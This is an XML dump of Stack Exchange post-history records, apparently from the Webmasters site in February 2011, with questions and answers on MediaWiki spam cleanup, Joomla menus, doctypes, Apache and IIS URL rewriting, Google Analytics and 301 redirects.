  <row Id="20250" PostHistoryTypeId="2" PostId="9221" RevisionGUID="2464b0e7-840e-49e4-a63c-04a105a1811d" CreationDate="2011-02-16T00:25:46.070" UserId="1064" Text="The easiest way to handle this situation (if you don't mind a nuke'n'pave) would be to export all wiki pages created or edited by your username, reinstall the wiki, and import the export file you'd generated.&#xD;&#xA;&#xD;&#xA;&quot;Reinstall&quot; in this context would mean:&#xD;&#xA;&#xD;&#xA;1. Export articles created by you (presumably logged in as the WikiSysop user or similar)&#xD;&#xA;2. Drop the MW database&#xD;&#xA;3. Create an empty MW database&#xD;&#xA;4. Copy your `LocalSettings.php` file to a safe location&#xD;&#xA;5. Re-upload the `/config/` directory&#xD;&#xA;6. Run the installation process on the new MW database (note that you will want to re-create your old admin user)&#xD;&#xA;7. Delete the `/config/` directory and move your old `LocalSettings.php` file back to the MW root&#xD;&#xA;8. Import the file created at Step #1&#xD;&#xA;&#xD;&#xA;**Edit:** You may want to pull down a database backup (including spam revisions) in case you encounter any problems with this process or would like to experiment with alternate ways to purge the spam." />
  <row Id="20251" PostHistoryTypeId="2" PostId="9222" RevisionGUID="0befd412-bc46-4892-bda7-5dc60ad5251b" CreationDate="2011-02-16T02:21:05.190" UserId="5438" Text="I let my domain expire on Google Apps. It now says that I have to contact customer service in order to renew.&#xD;&#xA;&#xD;&#xA;Does anyone know how to renew a domain (still under the grace period) for Google Apps.&#xD;&#xA;&#xD;&#xA;Any help would be appreciated." />
  <row Id="20252" PostHistoryTypeId="1" PostId="9222" RevisionGUID="0befd412-bc46-4892-bda7-5dc60ad5251b" CreationDate="2011-02-16T02:21:05.190" UserId="5438" Text="How do I renew an expired domain with Google Apps?" />
  <row Id="20253" PostHistoryTypeId="3" PostId="9222" RevisionGUID="0befd412-bc46-4892-bda7-5dc60ad5251b" CreationDate="2011-02-16T02:21:05.190" UserId="5438" Text="&lt;google-apps&gt;" />
  <row Id="20254" PostHistoryTypeId="25" PostId="9220" RevisionGUID="841f6333-55fb-4607-bdf1-527ca9e969df" CreationDate="2011-02-16T02:22:21.140" Comment="http://twitter.com/#!/StackWebmasters/status/37698261766766592" />
  <row Id="20255" PostHistoryTypeId="2" PostId="9223" RevisionGUID="dd077d9d-c87b-4d26-8c3d-6b0bdc30fb10" CreationDate="2011-02-16T03:05:05.887" UserId="1787" Text="Mysteriously, my HOSTS file changes are now working.&#xD;&#xA;&#xD;&#xA;Restarting the browser may have fixed this. I also ran `ipconfig /flushdns`." />
  <row Id="20256" PostHistoryTypeId="2" PostId="9224" RevisionGUID="d5aae162-138c-4cc3-93e5-fed787bd3283" CreationDate="2011-02-16T03:59:54.680" UserDisplayName="Matt Dawdy" Text="I'm trying to setup a new joomla site (first one for me, it's very confusing).&#xD;&#xA;&#xD;&#xA;I have added a menu item, but the link that it is trying to go to is the &quot;alias&quot;, and that isn't resolving correctly (or at all really) to the &quot;link&quot; that I have for the menu item.&#xD;&#xA;&#xD;&#xA;Does anyone know what I might be doing wrong?" />
  <row Id="20257" PostHistoryTypeId="1" PostId="9224" RevisionGUID="d5aae162-138c-4cc3-93e5-fed787bd3283" CreationDate="2011-02-16T03:59:54.680" UserDisplayName="Matt Dawdy" Text="Joomla menu item will not work" />
  <row Id="20258" PostHistoryTypeId="3" PostId="9224" RevisionGUID="d5aae162-138c-4cc3-93e5-fed787bd3283" CreationDate="2011-02-16T03:59:54.680" UserDisplayName="Matt Dawdy" Text="&lt;joomla&gt;" />
  <row Id="20259" PostHistoryTypeId="17" PostId="9224" RevisionGUID="c251bcf4-c121-459f-92eb-0d2ca90219a7" CreationDate="2011-02-16T04:12:22.483" UserId="-1" Comment="from http://superuser.com/questions/246406/joomla-menu-item-will-not-work" Text="" />
  <row Id="20260" PostHistoryTypeId="2" PostId="9225" RevisionGUID="6310ed45-1213-4001-b36a-b9af7f389530" CreationDate="2011-02-16T04:50:56.977" UserId="3590" Text="currently all my php generated rich html webpages start with this line, which I have been adding to my tempaltes YEARS ago... &#xD;&#xA;&#xD;&#xA;`&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;`&#xD;&#xA;&#xD;&#xA;**Am I still up to date and 2011-proof?** or Should I be changing this into something fasterloaden/more agile/more flexible? I have heard of XHTML 1.1. When I remove this line all still works fine. Is it very much needed still? What are my alternatives? Thanks very much for your suggestions.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20261" PostHistoryTypeId="1" PostId="9225" RevisionGUID="6310ed45-1213-4001-b36a-b9af7f389530" CreationDate="2011-02-16T04:50:56.977" UserId="3590" Text="Is my Document Type Definition Still Up to Date?" />
  <row Id="20262" PostHistoryTypeId="3" PostId="9225" RevisionGUID="6310ed45-1213-4001-b36a-b9af7f389530" CreationDate="2011-02-16T04:50:56.977" UserId="3590" Text="&lt;html&gt;&lt;website-design&gt;&lt;html5&gt;&lt;xhtml&gt;&lt;standards&gt;" />
  <row Id="20263" PostHistoryTypeId="17" PostId="9227" RevisionGUID="3abc4656-d12d-45a8-8ff5-22dd426f9aaf" CreationDate="2011-02-16T05:03:51.303" UserId="-1" Comment="from http://serverfault.com/questions/190511/rewrite-rule-if-iphone/190522#190522" Text="" />
  <row Id="20264" PostHistoryTypeId="2" PostId="9227" RevisionGUID="9e7a5050-e39e-4dae-8ac6-57ee19afa057" CreationDate="2010-10-13T14:26:01.397" UserDisplayName="daniel Crabbe" Text="this works but doesn't modify the visible url&#xD;&#xA;&#xD;&#xA;RewriteRule ^play-reel(.*)\$ play-reel-new-html5-02.php?director=$1&amp;video=$2 [L]&#xD;&#xA;" />
  <row Id="20265" PostHistoryTypeId="2" PostId="9226" RevisionGUID="52580607-52b1-47f7-b3ac-0ec1fccee36d" CreationDate="2010-10-13T14:07:32.860" UserDisplayName="daniel Crabbe" Text="just need one url on my site to check if its a mobile device and then rerite the url accordingly.&#xD;&#xA;&#xD;&#xA;want to rewrite;&#xD;&#xA;/play-reel/miranda-bowen/playpeaches-and-cream&#xD;&#xA;to&#xD;&#xA;/**mobile**/play-reel/miranda-bowen/playpeaches-and-cream&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT} ^.*iPhone.*$ [NC]&#xD;&#xA;    RewriteRule ^play-reel(.*)\$ mobile/play-reel$1 [R=302,NC]  &#xD;&#xA;&#xD;&#xA;    RewriteRule ^mobile/play-reel/([a-zA-Z0-9\-]+)/([a-zA-Z0-9\-]+)$ play-reel-new-html5-02.php?director=$1&amp;video=$2 [L]&#xD;&#xA;    # the 3rd line works but cant get the url to change for it to be picked up&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;can anyone see what's wrong? There's no erro&#xD;&#xA;&#xD;&#xA;best, Dan&#xD;&#xA;" />
  <row Id="20266" PostHistoryTypeId="1" PostId="9226" RevisionGUID="52580607-52b1-47f7-b3ac-0ec1fccee36d" CreationDate="2010-10-13T14:07:32.860" UserDisplayName="daniel Crabbe" Text="rewrite rule if iphone?" />
  <row Id="20267" PostHistoryTypeId="3" PostId="9226" RevisionGUID="52580607-52b1-47f7-b3ac-0ec1fccee36d" CreationDate="2010-10-13T14:07:32.860" UserDisplayName="daniel Crabbe" Text="&lt;apache&gt;&lt;iphone&gt;" />
  <row Id="20268" PostHistoryTypeId="17" PostId="9226" RevisionGUID="0adf14bb-b8c0-4031-9c31-f8282beacf92" CreationDate="2011-02-16T05:03:51.303" UserId="-1" Comment="from http://serverfault.com/questions/190511/rewrite-rule-if-iphone" Text="" />
  <row Id="20269" PostHistoryTypeId="25" PostId="9224" RevisionGUID="ca760490-a7e2-4bc9-b358-4ffd68610345" CreationDate="2011-02-16T05:22:21.753" Comment="http://twitter.com/#!/StackWebmasters/status/37743564070846464" />
  <row Id="20270" PostHistoryTypeId="2" PostId="9228" RevisionGUID="f183be25-d58f-47ae-923e-f62ca5a2bfe0" CreationDate="2011-02-16T05:40:35.827" UserId="1022" Text="It'll be fine for a long, long time - browsers will ignore whatever they don't specifically understand. XHTML itself will die out eventually (including 1.1), but browsers still have to support all HTML versions in some form, so it won't completely go away.&#xD;&#xA;&#xD;&#xA;The hip new (technically HTML5, but very usable right now) doctype is great though, might be worth changing:&#xD;&#xA;&#xD;&#xA;    &lt;!doctype html&gt;&#xD;&#xA;&#xD;&#xA;Nice &amp; clean, no more clumsy versions or DTDs.&#xD;&#xA;&#xD;&#xA;More [here][1].&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dustindiaz.com/skinny-on-doctypes/&#xD;&#xA;" />
  <row Id="20271" PostHistoryTypeId="25" PostId="9225" RevisionGUID="73db9a37-f6c6-41ed-a242-6d67e70b6168" CreationDate="2011-02-16T08:22:21.777" Comment="http://twitter.com/#!/StackWebmasters/status/37788863074140160" />
  <row Id="20272" PostHistoryTypeId="2" PostId="9229" RevisionGUID="62268fcd-a8fa-46d7-a9c2-44de25503c9f" CreationDate="2011-02-16T08:27:16.280" UserId="3461" Text="&quot;Unlimited&quot; word is used by so many hostings, today. Actually, knowing the limits, and the reality behind it, is not terrible to get into a server that claims it can offer that (it is more important to know what the people say about it, the time it's been working, etc, etc). Just be sure that if your bandwidth usage would be really high, often using some script, forum, multiplayer game, etc, which could make cpu share usage higher (rarely if you have just static pages) than what is usually allowed in a shared hosting TOS, your account would get probably suspended.&#xD;&#xA;&#xD;&#xA;These days I can think of a few good and reliable hostings that use that gimmick in their offers. The other thing you mention, AWS, cloud, etc..Gives you a special flexibility that you cannot find in traditional hosting. It depends on each case, plans, etc." />
  <row Id="20273" PostHistoryTypeId="2" PostId="9230" RevisionGUID="542540a7-dd9a-4b21-bbec-213825c04083" CreationDate="2011-02-16T10:25:20.023" UserId="5163" Text="Our pages can each have many tags, e.g 'football', 'sms', 'nsfw', etc.. wich we would like to track in google analytics.&#xD;&#xA;&#xD;&#xA;We're already tracking things like category using google analytics custom variables.  We've used three of the five available slots so far.&#xD;&#xA;&#xD;&#xA;How can we track tags the same way?  If we just mush them all together - e.g. 'football, sms, nsfw' then can we track the ones that are tagged 'football'?  What's the right way to track multi-valued page attributes using custom variables?" />
  <row Id="20274" PostHistoryTypeId="1" PostId="9230" RevisionGUID="542540a7-dd9a-4b21-bbec-213825c04083" CreationDate="2011-02-16T10:25:20.023" UserId="5163" Text="How should I track multi-valued page attributes (e.g. tags) using custom variables?" />
  <row Id="20275" PostHistoryTypeId="3" PostId="9230" RevisionGUID="542540a7-dd9a-4b21-bbec-213825c04083" CreationDate="2011-02-16T10:25:20.023" UserId="5163" Text="&lt;google-analytics&gt;" />
  <row Id="20276" PostHistoryTypeId="2" PostId="9231" RevisionGUID="5701dfec-53f9-42d0-9683-e109da5b6a15" CreationDate="2011-02-16T10:55:12.133" UserId="4502" Text="To answer your question: yes, your current DTD fine.&#xD;&#xA;&#xD;&#xA;But it's also the wrong question. Standards don't work like this.  &#xD;&#xA;It's not about making sure you're always using the latest one, and they don't really &quot;expire&quot; in the way that your question seems to suggest. They're about picking one and following its rules. &#xD;&#xA;&#xD;&#xA;Even if your site were using HTML 4 and its associated doctype, there would be no particular reason to change any of that as long as the markup is valid within the conditions of the HTML 4 spec. If you &lt;em&gt;wanted&lt;/em&gt; to recode your site with XHTML or HTML5 or whatever that's fine, but there's absolutely nothing compelling you to do it. (Which seems to be the core of your question.) If you'll recall, there was actually a period where many were actually pushing for a &lt;em&gt;return&lt;/em&gt; to HTML because XHTML was really &lt;a href=&quot;http://www.webkit.org/blog/68/understanding-html-xml-and-xhtml/&quot;&gt;never done correctly&lt;/a&gt; in the first place.&#xD;&#xA;&#xD;&#xA;There's a secondary flaw in your question in that it's not only about the doctype. If you just change that, you could actually &lt;em&gt;create&lt;/em&gt; problems due to changing semantics or deprecated elements, etc. You need to consider entire documents. Analogically, a book set in the 80s imposes certain requirements, such as &quot;Do not make references to Facebook.&quot; And in the other direction, you can't simply decide to move it into 2010, because you have to make sure to fix that bit where you mention that Michael Jackson just released Thriller." />
  <row Id="20277" PostHistoryTypeId="5" PostId="9231" RevisionGUID="48e5e7b3-1c4d-4b48-a977-6a03e8bd6997" CreationDate="2011-02-16T11:00:19.833" UserId="4502" Comment="added 3 characters in body; added 76 characters in body" Text="To answer your question: yes, your current DTD is fine.&#xD;&#xA;&#xD;&#xA;But it's also the wrong question. Standards don't work like this.  &#xD;&#xA;It's not about making sure you're always using the latest one, and they don't really &quot;expire&quot; in the way that your question seems to suggest. They're about picking one and following its rules. &#xD;&#xA;&#xD;&#xA;Even if your site were using HTML 4 and its associated doctype, there would be no particular reason to change any of that as long as the markup is valid within the conditions of the HTML 4 spec. If you &lt;em&gt;wanted&lt;/em&gt; to recode your site with XHTML or HTML5 or whatever that's fine, but there's absolutely nothing compelling you to do it. (Which seems to be the core of your question.) If you'll recall, there was actually a period where many were actually pushing for a &lt;em&gt;return&lt;/em&gt; to HTML because XHTML was really &lt;a href=&quot;http://www.webkit.org/blog/68/understanding-html-xml-and-xhtml/&quot;&gt;never done correctly&lt;/a&gt; in the first place. (When XHTML was in vogue, prior to what turned into the push toward HTML5.)&#xD;&#xA;&#xD;&#xA;There's a secondary flaw in your question in that it's not only about the doctype. If you just change that, you could actually &lt;em&gt;create&lt;/em&gt; problems due to changing semantics or deprecated elements, etc. You need to consider entire documents. Analogically, a book set in the 80s imposes certain requirements, such as &quot;Do not make references to Facebook.&quot; And in the other direction, you can't simply decide to move it into 2010, because you have to make sure to fix that bit where you mention that Michael Jackson just released Thriller." />
  <row Id="20278" PostHistoryTypeId="2" PostId="9232" RevisionGUID="ebfa5eed-ec51-4c1c-93a4-286950e8f95f" CreationDate="2011-02-16T11:03:18.980" UserId="3307" Text="[Google Help on the matter][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/a/bin/answer.py?hlrm=en&amp;answer=53929" />
  <row Id="20280" PostHistoryTypeId="25" PostId="9197" RevisionGUID="94679d10-2f90-464e-87c8-995e90e45afe" CreationDate="2011-02-16T11:22:22.387" Comment="http://twitter.com/#!/StackWebmasters/status/37834163629330432" />
  <row Id="20282" PostHistoryTypeId="5" PostId="9214" RevisionGUID="a11932d9-7ed0-4055-ba4b-a59f7d1ade88" CreationDate="2011-02-16T12:14:31.817" UserId="1780" Comment="Added meaningful tag" Text="I am wondering why godaddy offers Unlimited Space+ and Bandwidth, but google app engine/ AWS charges on usages. is it REAL unlimited? if godaddy offers lower rate, why ppl still use google app engine and AWS(other than they can use more customized virtual instance). can any explain it to me?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20283" PostHistoryTypeId="6" PostId="9214" RevisionGUID="a11932d9-7ed0-4055-ba4b-a59f7d1ade88" CreationDate="2011-02-16T12:14:31.817" UserId="1780" Comment="Added meaningful tag" Text="web-hostinggodaddy" />
  <row Id="20284" PostHistoryTypeId="24" PostId="9214" RevisionGUID="f447c79b-6be2-462d-b52d-1f66f40a337f" CreationDate="2011-02-16T12:14:31.817" Comment="Proposed by 1780 approved by 108 edit id of 18" />
  <row Id="20285" PostHistoryTypeId="5" PostId="8798" RevisionGUID="5a6270d7-583e-4215-a19c-fec90a4dcc56" CreationDate="2011-02-16T13:11:07.203" UserId="5443" Comment="The software tag is a meta tag on Super User, where this question came from. It also doesn't make sense on this question; I've made a few other improvements on the way..." Text="Does anyone know of a hosted version of Yahoo! Answers (or Stackoverflow/Superuser) that I could integrate with my site? I know that there are some open-source implementations (see [Stack Overflow Clones](http://meta.stackoverflow.com/questions/2267/stack-overflow-clones?page=1&amp;tab=votes#tab-top)) but I'd rather have some hosted if possible. &#xD;&#xA;&#xD;&#xA;I know there is [Stack Exchange](http://stackexchange.com/) as well, but I really want some tight integration with the rest of my site. Failing that, has anyone got any experience with the open source versions?&#xD;&#xA;&#xD;&#xA;Some of them look a little, erm, unfinished..." />
  <row Id="20286" PostHistoryTypeId="6" PostId="8798" RevisionGUID="5a6270d7-583e-4215-a19c-fec90a4dcc56" CreationDate="2011-02-16T13:11:07.203" UserId="5443" Comment="The software tag is a meta tag on Super User, where this question came from. It also doesn't make sense on this question; I've made a few other improvements on the way..." Text="hostingopen-source" />
  <row Id="20287" PostHistoryTypeId="24" PostId="8798" RevisionGUID="0509975d-5624-4ba0-a671-ed51ee72cdbb" CreationDate="2011-02-16T13:11:07.203" Comment="Proposed by 5443 approved by 1253 edit id of 19" />
  <row Id="20288" PostHistoryTypeId="2" PostId="9234" RevisionGUID="47f0f5cd-f687-4f2d-a58a-3675428a7a5d" CreationDate="2011-02-16T13:27:27.917" UserId="5297" Text="I've been looking for documentation on how the Microsoft and Google bots interpret 301 redirects. &#xD;&#xA;&#xD;&#xA; It seems that google-bot stores documents on a url based index system. But I haven't been able to figure out how bing works. Should I assume that they are still working towards coping everyone else and assume they use an algorithm close to google?&#xD;&#xA;&#xD;&#xA;Is it best to just forward a page to a new location via Javascript? I think this might be a blackhat trick, but how would I tell the bots that it's not? &#xD;&#xA;&#xD;&#xA;Is 301 redirect my best option and I just have to bit the bullet because said pages are no longer in existence?&#xD;&#xA;&#xD;&#xA;What other options do I have that I might not be aware of?" />
  <row Id="20289" PostHistoryTypeId="1" PostId="9234" RevisionGUID="47f0f5cd-f687-4f2d-a58a-3675428a7a5d" CreationDate="2011-02-16T13:27:27.917" UserId="5297" Text="How does bing-bot( is that the right spider-name? ) and googlebot interpret 301 redirect?" />
  <row Id="20290" PostHistoryTypeId="3" PostId="9234" RevisionGUID="47f0f5cd-f687-4f2d-a58a-3675428a7a5d" CreationDate="2011-02-16T13:27:27.917" UserId="5297" Text="&lt;seo&gt;&lt;google&gt;&lt;wordpress&gt;&lt;bing&gt;&lt;spider&gt;" />
  <row Id="20291" PostHistoryTypeId="2" PostId="9235" RevisionGUID="38019adb-2ae6-40f9-9243-10bd847c1fd0" CreationDate="2011-02-16T14:06:26.830" UserId="1253" Text="Never redirect like this using JavaScript. It's bad for a variety of reasons. Stick to the standards and send a 301 redirect via an HTTP header. Otherwise you risk sending the wrong message, or no message, to the search engine and then you run the risk of being de-indexed, penalized, or somehow losing value that you have rightly accrued (e.g. link popularity).&#xD;&#xA;&#xD;&#xA;All you can do is to do things the right way and then hope anyone interacting with your site is doing things the right way, too. If they aren't you can try to accommodate them if you know what they are doing wrong but always default to the right way first. That way you are future proof and cover the majority of use cases.&#xD;&#xA;&#xD;&#xA;FYI, found [this][1] about Bing and 301 redirects&#xD;&#xA;&#xD;&#xA;&gt; Bing will (eventually) deindex pages&#xD;&#xA;&gt; that have been 301ed and re-index the&#xD;&#xA;&gt; new page.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.bing.com/community/webmaster/f/12248/p/647835/9557642.aspx" />
  <row Id="20293" PostHistoryTypeId="6" PostId="9234" RevisionGUID="78bcdb6c-8a9e-4cc4-a1f1-621b998f8564" CreationDate="2011-02-16T14:07:31.103" UserId="1253" Comment="Removed &quot;wordpress&quot; tag, added &quot;301-redirect&quot; tag" Text="&lt;seo&gt;&lt;google&gt;&lt;bing&gt;&lt;spider&gt;&lt;301-redirect&gt;" />
  <row Id="20294" PostHistoryTypeId="5" PostId="9235" RevisionGUID="6197c4fe-63e2-49dd-85bc-29175ee33fc0" CreationDate="2011-02-16T14:12:13.330" UserId="1253" Comment="added 256 characters in body" Text="Never redirect like this using JavaScript. It's bad for a variety of reasons. Stick to the standards and send a 301 redirect via an HTTP header. Otherwise you risk sending the wrong message, or no message, to the search engine and then you run the risk of being de-indexed, penalized, or somehow losing value that you have rightly accrued (e.g. link popularity).&#xD;&#xA;&#xD;&#xA;All you can do is to do things the right way and then hope anyone interacting with your site is doing things the right way, too. If they aren't you can try to accommodate them if you know what they are doing wrong but always default to the right way first. That way you are future proof and cover the majority of use cases.&#xD;&#xA;&#xD;&#xA;FYI, found [this][1] about Bing and 301 redirects&#xD;&#xA;&#xD;&#xA;&gt; Bing will (eventually) deindex pages&#xD;&#xA;&gt; that have been 301ed and re-index the&#xD;&#xA;&gt; new page.&#xD;&#xA;&#xD;&#xA;Google will de-index the original page and index the new page and transfer most of the PageRank and other value the original page accrued over time. A small amount of that value is lost when the redirect is done. Probably to prevent abuse of the system. &#xD;&#xA;&#xD;&#xA;  [1]: http://www.bing.com/community/webmaster/f/12248/p/647835/9557642.aspx" />
  <row Id="20295" PostHistoryTypeId="6" PostId="9225" RevisionGUID="9cdabdd2-2a3f-4928-ab4e-8698ddfe6d83" CreationDate="2011-02-16T14:17:54.167" UserId="1253" Comment="Removed &quot;website-design &quot; tag" Text="&lt;html&gt;&lt;html5&gt;&lt;xhtml&gt;&lt;standards&gt;" />
  <row Id="20296" PostHistoryTypeId="25" PostId="9234" RevisionGUID="ff728b75-cfd1-42d6-ab97-d313b9e1d344" CreationDate="2011-02-16T14:22:23.090" Comment="http://twitter.com/#!/StackWebmasters/status/37879466042589184" />
  <row Id="20297" PostHistoryTypeId="2" PostId="9236" RevisionGUID="24f1528c-ad88-485e-a669-7f3c9e779c1c" CreationDate="2011-02-16T14:54:26.187" UserId="5445" Text="In my Joomla based web site, I have a two layer main menu. The page layout contains two sections whereas the left one displays the content and the right one displays some other kind of content which at the same time serves as a menu.&#xD;&#xA;&#xD;&#xA;For example, if the user clicks on the &quot;Products&quot; -&gt; &quot;SomeCategory&quot; 2nd level menu item, the left section displays an image. The right section lists all products of that category. Each product is represented by an image and text. The content is scrollable. This section is implemented by means of a custom module (mod_custom) assigned to the menu. The content is rich text (HTML). Each product is entered manually by adding a picture and a text in the WYSIWYG editor, and by inserting a link for the picture and text.&#xD;&#xA;&#xD;&#xA;**Now the issue:**&#xD;&#xA;&#xD;&#xA;When the user clicks on a product, I want to display the corresponding product description article (&quot;SomeProduct&quot;) to the left, accounting for the following requirements:&#xD;&#xA;&#xD;&#xA;* The bread crumb now displays &quot;Products -&gt; SomeCategory -&gt; SomeProduct&quot;&#xD;&#xA;* The main menu still displays the 2nd level for &quot;Products&quot;, and &quot;SomeCategory&quot; is still marked as selected.&#xD;&#xA;* *(I would love if the right section which lists the product would remain in the exact same scroll state, but that's a completely different story.)*&#xD;&#xA;&#xD;&#xA;If I link the product entry from the right hand side directly to the article &quot;SomeProduct&quot;, then the article appears to the left, but the **breadcrumb and menu are reset.**&#xD;&#xA;&#xD;&#xA;So I wanted to **create a hidden menu item** &quot;SomeProduct&quot; beneath &quot;SomeCategory&quot;, and to link the product entry to that menu item. This way, if I click on the product entry, the article appears to the left, the breadcrumb behaves correctly, and the menu state is preserved. However, **it is not possible to configure the SomeProduct menu item as &quot;hidden&quot;**, therefore it appears in the main menu.&#xD;&#xA;&#xD;&#xA;I found some resources that suggest to **create another menu, called &quot;hidden&quot;**, which does not use any modules, and to create the &quot;SomeProduct&quot; menu item in that menu. **Unfortunately this did not work for me:** If I link that menu item from the product entry, and click on that entry, then the article appears to the left, but the menu is reset, and the breadcrumb displays &quot;SomeProduct&quot; instead of &quot;Products &gt; SomeCategory &gt; SomeProduct&quot;.&#xD;&#xA;&#xD;&#xA;Lucky me! I found an appropriate stackexchange site where I can pour out my heart to you guys. Sure you can help me :-)" />
  <row Id="20298" PostHistoryTypeId="1" PostId="9236" RevisionGUID="24f1528c-ad88-485e-a669-7f3c9e779c1c" CreationDate="2011-02-16T14:54:26.187" UserId="5445" Text="Joomla Hide Menu Item, or: Using Rich Content as part of the navigation" />
  <row Id="20299" PostHistoryTypeId="3" PostId="9236" RevisionGUID="24f1528c-ad88-485e-a669-7f3c9e779c1c" CreationDate="2011-02-16T14:54:26.187" UserId="5445" Text="&lt;joomla&gt;&lt;menu&gt;" />
  <row Id="20300" PostHistoryTypeId="2" PostId="9237" RevisionGUID="29c04cf0-2f72-4ead-851b-66e4395bc71a" CreationDate="2011-02-16T14:46:46.700" UserDisplayName="kunjaan" Text="I am learning to use the IIS Rewrite module and some of the &quot;features&quot; listed in the page is confusing me. It would be great if somebody could explain them to me and give a first hand account of when you would use the feature.&#xD;&#xA;&#xD;&#xA;Thanks a lot!&#xD;&#xA;&#xD;&#xA;&gt; Rewriting within the content of&#xD;&#xA;&gt; specific HTML tags&#xD;&#xA;&#xD;&#xA;    Access to server variables and HTTP headers&#xD;&#xA;    Rewriting of server variables and HTTP request headers&#xD;&#xA;&#xD;&#xA;What are the &quot;server variables&quot; and when would you redefine or define them?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    Rewriting of HTTP response headers&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; HtmlEncode function&#xD;&#xA;&#xD;&#xA;Why would you use an HTMLEncode in the server?&#xD;&#xA;&#xD;&#xA;&gt; Reverse proxy rule template&#xD;&#xA; &#xD;&#xA; &#xD;&#xA;&gt; Support for IIS kernel-mode and&#xD;&#xA;&gt; user-mode output caching&#xD;&#xA;&gt; &#xD;&#xA;&gt; Failed Request Tracing support&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20301" PostHistoryTypeId="1" PostId="9237" RevisionGUID="29c04cf0-2f72-4ead-851b-66e4395bc71a" CreationDate="2011-02-16T14:46:46.700" UserDisplayName="kunjaan" Text="Please explain some of the features of URL Rewrite module for a newbie" />
  <row Id="20302" PostHistoryTypeId="3" PostId="9237" RevisionGUID="29c04cf0-2f72-4ead-851b-66e4395bc71a" CreationDate="2011-02-16T14:46:46.700" UserDisplayName="kunjaan" Text="&lt;server&gt;&lt;iis&gt;&lt;iis7&gt;&lt;url-rewriting&gt;" />
  <row Id="20303" PostHistoryTypeId="17" PostId="9237" RevisionGUID="84714a81-723f-4a5e-a3ca-c41f2651294b" CreationDate="2011-02-16T14:56:14.817" UserId="-1" Comment="from http://serverfault.com/questions/236243/please-explain-some-of-the-features-of-url-rewrite-module-for-a-newbie" Text="" />
  <row Id="20304" PostHistoryTypeId="2" PostId="9238" RevisionGUID="1878bfe8-9696-4e1b-9cc4-c62f56d10e51" CreationDate="2011-02-16T15:01:49.293" UserId="5148" Text="You could also try A1 Website Analyzer (Windows tool, but can run in VMWare/Fusion under Mac) It can tell you of all URL references site-wide (e.g. which pages link to a 404 URL + usually also line numbers), HTML/CSS errors etc." />
  <row Id="20305" PostHistoryTypeId="2" PostId="9239" RevisionGUID="e90f29a6-1988-4203-b2af-7456811ff20a" CreationDate="2011-02-16T15:04:22.490" UserId="404" Text="Server Variables are variables that IIS sets and provides to your application and are relative to the HTTP request and response.  They are an accumlation of information based on HTTP headers, IP connections, authentication, authorization, etc.&#xD;&#xA;&#xD;&#xA;An example of using a rewrite rule with Server Variables could be to provide the original URL of your resource prior to the the URL rewrite.  Your target application could then use the original URL in some piece of logic such as tracking uses of the original URL.&#xD;&#xA;&#xD;&#xA;HTMLEncode will take special characters that are part of the HTML markup syntax and encode them to be output as HTML.  This makes it easier to send output from the server side in that you don't have to manually create the markup as you're sending it." />
  <row Id="20306" PostHistoryTypeId="6" PostId="3201" RevisionGUID="9d084a1f-f780-4a41-93a4-9d723ec93ea8" CreationDate="2011-02-16T15:09:20.003" UserId="1253" Comment="Removed &quot;links sitelinks &quot; tags" Text="&lt;dead-links&gt;" />
  <row Id="20307" PostHistoryTypeId="5" PostId="9225" RevisionGUID="8ee8947f-2e7a-46ba-90fe-22958b059113" CreationDate="2011-02-16T15:11:20.253" UserId="3590" Comment="deleted 34 characters in body" Text="currently all my php generated rich html webpages start with this line, which I have been adding to my tempaltes YEARS ago... &#xD;&#xA;&#xD;&#xA;`&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;`&#xD;&#xA;&#xD;&#xA;#UPDATE&#xD;&#xA;&#xD;&#xA;**Who Should Use Which Doctype? When Should One Change Doctype?** When I remove this line all still works fine. Is it still essentially needed to put all that at the top of my pages? What are my alternatives? Thanks very much for your suggestions.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20308" PostHistoryTypeId="2" PostId="9240" RevisionGUID="77f6cd04-98d7-47d8-857f-385415d27641" CreationDate="2011-02-16T15:57:14.923" UserId="5432" Text="One of the advantages of the passage of time is that you keep working at things until you finally figure it out.&#xD;&#xA;&#xD;&#xA;As it turns out, the problem was with the .csv file formatting. I am working on a Mac and when I upload the file to the server using Transmit, the mode was set to auto and there was no “conversion” of the .csv file taking place to make it readable by the server. I had to change from sFTP to FTP to allow for Mode &gt; ASCII (Text) upload and it solved the problem.&#xD;&#xA;&#xD;&#xA;Underlying this, on a Mac when you save a file as .csv it retains a paragraph line ending or \r and the server is looking for a new line ending or \n&#xD;&#xA;&#xD;&#xA;By uploading the file as ASCII(text) it converts the \r to \n and the file then becomes readable by the server." />
  <row Id="20314" PostHistoryTypeId="2" PostId="9242" RevisionGUID="9a73b95f-c7c2-4d71-a1ea-86ca673e99e5" CreationDate="2011-02-16T16:30:14.207" UserId="1089" Text="Music gigs/theatre/comedy listings that day&#xD;&#xA;&#xD;&#xA;Sports results/news?&#xD;&#xA;&#xD;&#xA;Local blogs? &#xD;&#xA;&#xD;&#xA;My city has a nice [daily photo blog][1] something similar integrated into a website could be cool.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://newcastleupontynedailyphoto.com/" />
  <row Id="20315" PostHistoryTypeId="6" PostId="5368" RevisionGUID="eb82077d-f176-47a1-90db-dac0bc32b42d" CreationDate="2011-02-16T16:37:15.670" UserId="1253" Comment="Removed &quot;web-development php twitter social-networks&quot; tags, added &quot;content&quot; tag" Text="&lt;content&gt;&lt;mobile&gt;" />
